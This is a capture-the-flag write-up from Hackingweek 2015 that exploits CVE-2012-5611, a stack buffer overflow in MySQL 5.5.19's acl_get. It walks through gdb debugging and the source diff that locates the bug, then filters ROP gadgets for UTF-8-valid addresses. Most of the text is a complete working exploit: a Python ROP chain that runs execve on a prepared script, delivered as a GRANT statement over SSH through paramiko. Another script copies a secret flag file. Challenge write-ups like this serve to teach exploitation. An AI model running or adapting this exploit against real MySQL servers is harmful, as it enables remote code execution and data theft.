Hackingweek 2015 — MySQL's CVE-2012-5611

Identification

It was not originally intended for the first (“exploit 4”), but it was possible to read the flag via LOAD DATA (since the user had the FILE privilege). So they added the “exploit 6” challenge, without this possibility. Six challenges instead of four :^)

First thing to do: get a clean debug environment. Copy all the files somewhere in /tmp/_____, and edit the mysqld.cnf file to change the path of the mysqld socket.

guest@ns314076:/tmp/foo$ gdb ./mysql-5.5.19-linux2.6-i686/bin/mysqld -q
Reading symbols from /tmp/foo/mysql-5.5.19-linux2.6-i686/bin/mysqld...done.
(gdb) r --defaults-file=./mysqld.cnf
Starting program: /tmp/foo/mysql-5.5.19-linux2.6-i686/bin/mysqld --defaults-file=./mysqld.cnf
[Thread debugging using libthread_db enabled]
Using host libthread_db library "/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1".
[New Thread 0xb7df1b70 (LWP 31351)]
[Thread 0xb7df1b70 (LWP 31351) exited]
[New Thread 0xb7df1b70 (LWP 31352)]
[New Thread 0xadfb0b70 (LWP 31353)]
[New Thread 0xad7afb70 (LWP 31354)]
[New Thread 0xacfaeb70 (LWP 31355)]
[...]

All right! We already know that a PoC exists for this version of MySQL (cheers kingcope!). I was behind an school firewall; I had no access to the port 3306. So I used the paramiko python package to connect to the server via SSH and execute my SQL query from the command line (the code is at the end of this write-up).

Time to get more information about this PoC.

#0  0xb7f168fb in ?? () from /lib/i386-linux-gnu/i686/cmov/libc.so.6
#1  0x0814b974 in acl_get (host=0x41414141 <Address 0x41414141 out of bounds>,
    ip=0x41414141 <Address 0x41414141 out of bounds>,
    user=0x41414141 <Address 0x41414141 out of bounds>,
    db=0x41414141 <Address 0x41414141 out of bounds>,
    db_is_pattern=1 '\001') at
    /export/home/pb2/build/sb_0-4399296-1322061984.01/mysql-5.5.19/sql/sql_acl.cc:1599
[...]

And we have GitHub to diff easily: 5.5.19 and 5.5.29.

We spot this new line:

if (copy_length >= ACL_KEY_LENGTH)

Uh. It's now clear that the vulnerability is located here :

end=strmov((tmp_db=strmov(strmov(key, ip ? ip : "")+1,user)+1),db);

The buffer of size ACL_KEY_LENGTH (98) is filled with the values key, user and db. As we saw in the PoC, we control the value of db and no check is made about the size of the final string before MySQL 5.5.29.

Exploitation

The ASLR is not enabled, but NX is. No stack cookie. Let's craft a nice ropchain! Since the SQL query is parsed by MySQL, any char in it have to be an UTF-8 valid one. The mysqld binary is pretty large, so we can expect to find some gadgets with “good” addresses! I used ROPGadget and sorted the result with a small script, to get only addresses with the correct format. The two conditions are the following : every byte of the address have to be lower than 0x80 (U+0000 to U+007F) OR a valid multi-byte sequence.

I tried the easiest way, the first condition:

f = open('./gadgets.txt', 'r')
for line in f.readlines():
    if line[0:2] == '0x' 
    and int(line[2:4], 16) < 0x80 
    and int(line[4:6], 16) < 0x80 
    and int(line[6:8], 16) < 0x80 
    and int(line[8:10], 16) < 0x80:
        print line[:-1]

Got 14545 gadgets! The only write-what-where is with eax, followed by a pop ebp. By chance, there is a lot of xchg eax, * gadgets that can be used this to control our registers. We'll have to increment eax for the int 0x80, since we can't have NULL bytes in the string.

After some regexes, I selected the following gadgets:

pop_eax        = 0x087e4b57
pop_ebx        = 0x086d5039
xchg_eax_ecx   = 0x086e136a
xchg_eax_edx   = 0x084e3062
xchg_esi_eax   = 0x087c3223
xchg_p_eax_esi = 0x08405331
int_0x80       = 0x08061234

data_addr      = 0x09090909

To confirm that I did not missed something about the initial state of the memory, I tried the following ropchain:

[
    _x(pop_eax),
    _x("/tmp"),
    _x(xchg_esi_eax),
    _x(pop_eax),
    _x(data_addr),
    _x(xchg_p_eax_esi),
]

And I got the following state:

(gdb) i r
eax            0x9090909	151587081
ecx            0x3	3
edx            0x0	0
ebx            0x41414141	1094795585
esp            0xa9775098	0xa9775098
ebp            0x41414141	0x41414141
esi            0x0	0
edi            0x41414141	1094795585
eip            0x88c8f00	0x88c8f00
eflags         0x10286	[ PF SF IF RF ]
cs             0x73	115
ss             0x7b	123
ds             0x7b	123
es             0x7b	123
fs             0x0	0
gs             0x33	51
(gdb) x/4x 0x09090909
0x9090909:	0x41	0x41	0x41	0x41

Just prepare a script in /tmp/xxx:

#!/bin/sh
cat /home/exploit06/.secret > /tmp/win
chmod 777 /tmp/win
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
import sys
import struct
import os, socket
import paramiko

#                               HackingWeek 2015
#                             Exploit 4 / Exploit 6

# List our gadgets here
pop_eax        = 0x087e4b57
pop_ebx        = 0x086d5039
xchg_eax_ecx   = 0x086e136a
xchg_eax_edx   = 0x084e3062
xchg_esi_eax   = 0x087c3223
xchg_p_eax_esi = 0x08405331
inc_eax        = 0x08061234
syscall        = 0x086d0d0e
ret            = 0x08240d14

data_addr      = 0x09090939
struct_addr    = 0x09090941 + 2

# Simple macro to write addresses with the correct endianness
def _x(s):
    return struct.pack('<I', s)

# Debian 7 target, with MySQL 5.5.19
class target_debian():
    def generate(self):
        ropchain = [

            _x(ret),
            _x(ret),
            _x(ret),

            # Write /tmp
            _x(pop_eax),
            "/tmp",
            _x(xchg_esi_eax),
            _x(pop_eax),
            _x(data_addr),
            _x(xchg_p_eax_esi),

            # Write /xxx
            _x(pop_eax),
            "/xxx",
            _x(xchg_esi_eax),
            _x(pop_eax),
            _x(data_addr + 4),
            _x(xchg_p_eax_esi),

            # Write the address of the string
            _x(pop_eax),
            _x(data_addr),
            _x(xchg_esi_eax),
            _x(pop_eax),
            _x(struct_addr),
            _x(xchg_p_eax_esi),

            # ebx = @ "/tmp/xxx"
            _x(pop_ebx),
            _x(data_addr),

            # ecx = @ {"/tmp/xxx", NULL}
            _x(pop_eax),
            _x(struct_addr),
            _x(xchg_eax_ecx),

            # edx = @ NULL
            _x(pop_eax),
            _x(struct_addr + 6),
            _x(xchg_eax_edx),

            # int 0x80 with eax = 11
            # because of null byte :(
            _x(inc_eax),
            _x(inc_eax),
            _x(inc_eax),
            _x(inc_eax),
            _x(inc_eax),
            _x(inc_eax),
            _x(inc_eax),
            _x(inc_eax),
            _x(inc_eax),
            _x(inc_eax),
            _x(inc_eax),
            _x(syscall)
        ]

        out = ''
        out += "A" * (283 + 4)
        out += _x(0x09090909)
        out += "AAAA"
        out += _x(0x09090909)
        for i in ropchain:
            out += i
        return out

payload = target_debian().generate()
grant = "grant ALL on \`" + payload + "\`.* to 'guest'@'localhost' identified by 'p0wny';"
print grant

ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
ssh.connect('37.187.22.21', username='guest', password='[...]')
stdin, stdout, stderr = ssh.exec_command('echo "'+ grant +'" | mysql --user="guest" --password="guest" -S /var/run/mysqld/mysqld2.sock' )
print "stdout: " + ''.join(stdout.readlines())
print "stderr:" + ''.join(stderr.readlines())